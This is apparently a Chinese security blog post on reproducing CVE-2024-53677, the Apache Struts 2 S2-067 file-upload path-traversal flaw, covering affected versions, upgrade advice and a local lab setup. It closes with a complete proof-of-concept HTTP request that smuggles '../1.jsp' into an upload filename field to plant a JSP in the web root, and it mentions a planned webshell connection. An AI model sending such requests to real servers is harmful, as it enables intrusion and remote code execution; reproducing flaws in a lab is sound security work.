CVE-2024-53677:Apache Struts 2文件上传逻辑漏洞S2-067

CVE-2024-53677:Apache Struts 2文件上传逻辑漏洞S2-067

HowellFeng

2025-01-21 发布24 浏览 · 1 点赞 · 0 收藏

0x01 简介

Apache Struts2是常用的Java Web应用框架,在文件上传功能上存在严重缺陷。因对上传文件类型验证不严,攻击者能绕过过滤规则,上传恶意文件。这可导致任意代码执行,让攻击者获取系统权限,窃取敏感数据、破坏文件,严重威胁企业信息安全 。

0x02 漏洞概述

一个在 Apache Struts 框架中发现的严重漏洞,允许攻击者远程执行任意代码。该漏洞的CVSS评分为9.5,属于高危漏洞。漏洞的根本原因是文件上传逻辑存在缺陷,攻击者可以利用该缺陷进行路径遍历,从而上传恶意文件到服务器的任意位置,实现远程代码执行。
影响范围

  • 受影响版本
    • 2.0.0 <= Apache Struts <= 2.3.37(EOL--终止支持)
    • 2.5.0 <= Apache Struts <= 2.5.33
    • 6.0.0 <= Apache Struts <= 6.3.0.2
  • 不受影响版本
    • Apache Struts >= 6.4.0
      修复建议:将 Apache Struts 框架升级到 6.4.0 或更高版本,并迁移到新的文件上传机制(即使用 Action File Upload Interceptor 来处理文件上传),从而防止该漏洞。
      漏洞详情
  • 漏洞类型:文件上传、路径遍历
  • 利用条件:存在上传点,且代码中使用了 FileUploadInterceptor 作为文件上传组件
  • 危害描述:成功利用可能导致文件上传获取服务器权限,攻击者可以执行远程代码、获取敏感数据、破坏网站内容或进行其他恶意活动。

0x03 环境搭建

一、安装JDK并配置环境变量
  1. Java Downloads | Oracle 中国安装JDK
    JDK-Install.png
  2. 下好后点击安装包开始安装
    JDK-21-exe.png
  3. 右击此电脑->点击属性->点击高级系统设置->点击环境变量->点击系统变量的新建
    envpath-1.png
    hss.png
    ss.png
    spn.png
  4. 配置第一个变量:JAVA_HOME
    fb.png
    jdkpath.png
  5. 配置第二个变量:%JAVA_HOME%\bin
    s1.png
    s2.png
    s3.png
  6. 配置第三个变量
    • 变量名:CLASSPATH
    • 变量值:.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jart1.pngt2.png
  7. 点击确定
    confirm1.png
    confirm2.png
  8. 检查是否配置成功:win+R打开运行->输入cmd->点击确定->输入java --version->输入javac cmd.pngcmd1.pngcmd2.png
二、安装配置Maven并配置环境变量
  1. 下载Apache Maven
    maven-download.png
  2. 配置环境变量
    1. 配置系统环境变量:MAVEN_HOME MAVEN_HOME.png
    2. 配置系统变量:MUPB.png
    3. 验证是否安装配置成功:输入mvn -vmvn-v.png
  3. 修改默认仓库
    1. 在某个目录新建一个文件夹(文件名自定)mrepo.png
    2. 修改maven文件夹下conf文件夹的settings.xml的仓库地址localrepo.png
  4. 使用阿里云镜像(也在settings.xmlsmirror.png
<mirror>
       <id>nexus-aliyun</id>
       <mirrorOf>*</mirrorOf>
       <name>Nexus aliyun</name>
       <url>http://maven.aliyun.com/nexus/content/groups/public</url>
</mirror>
  1. IDEA配置Maven
    1. 设置->构建、执行、部署->Maven ideam.png
    2. 设置->编辑器->常规->自动导入idea-config.png
三、安装配置IDEA
  1. 安装IDEA与Apache Tomcat tomcat-install.png
  2. 用IDEA打开源码idea-struts2-067.png
  3. 配置TomcatTomcat-config.pngserver.pngdevelop.png

0x04 漏洞复现

  1. 在IDEA中运行项目startstruts.png
  2. 浏览器中输入http://localhost:8081/untitled_war进行访问visited.png
  3. 用Burpsuite进行抓包bpcatchstruts.png
  4. 利用POC上传一个测试jsp,利用路径穿越到web根目录,成功
POST /untitled_war/uploads.action HTTP/1.1
Host: IP:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://172.16.65.98:8080/untitled_war/
Content-Type: multipart/form-data; boundary=---------------------------376058448320617365003265882680
Content-Length: 529
Origin: http://192.168.0.116:8080
Connection: close
Cookie: JSESSIONID=953590EEDDD585B3CFE1A15E18C518C9
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------376058448320617365003265882680
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: application/octet-stream

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>

<body>
    <p>test</p>
</body>
</html>


-----------------------------376058448320617365003265882680
Content-Disposition: form-data; name="uploadFileName[0]";

../1.jsp
-----------------------------376058448320617365003265882680--

bppoc.pngpocsuccess.png
5. 也可上传代码,使用蚁剑进行连接(后续补充)

请前往 登录/注册 即可发表您的看法…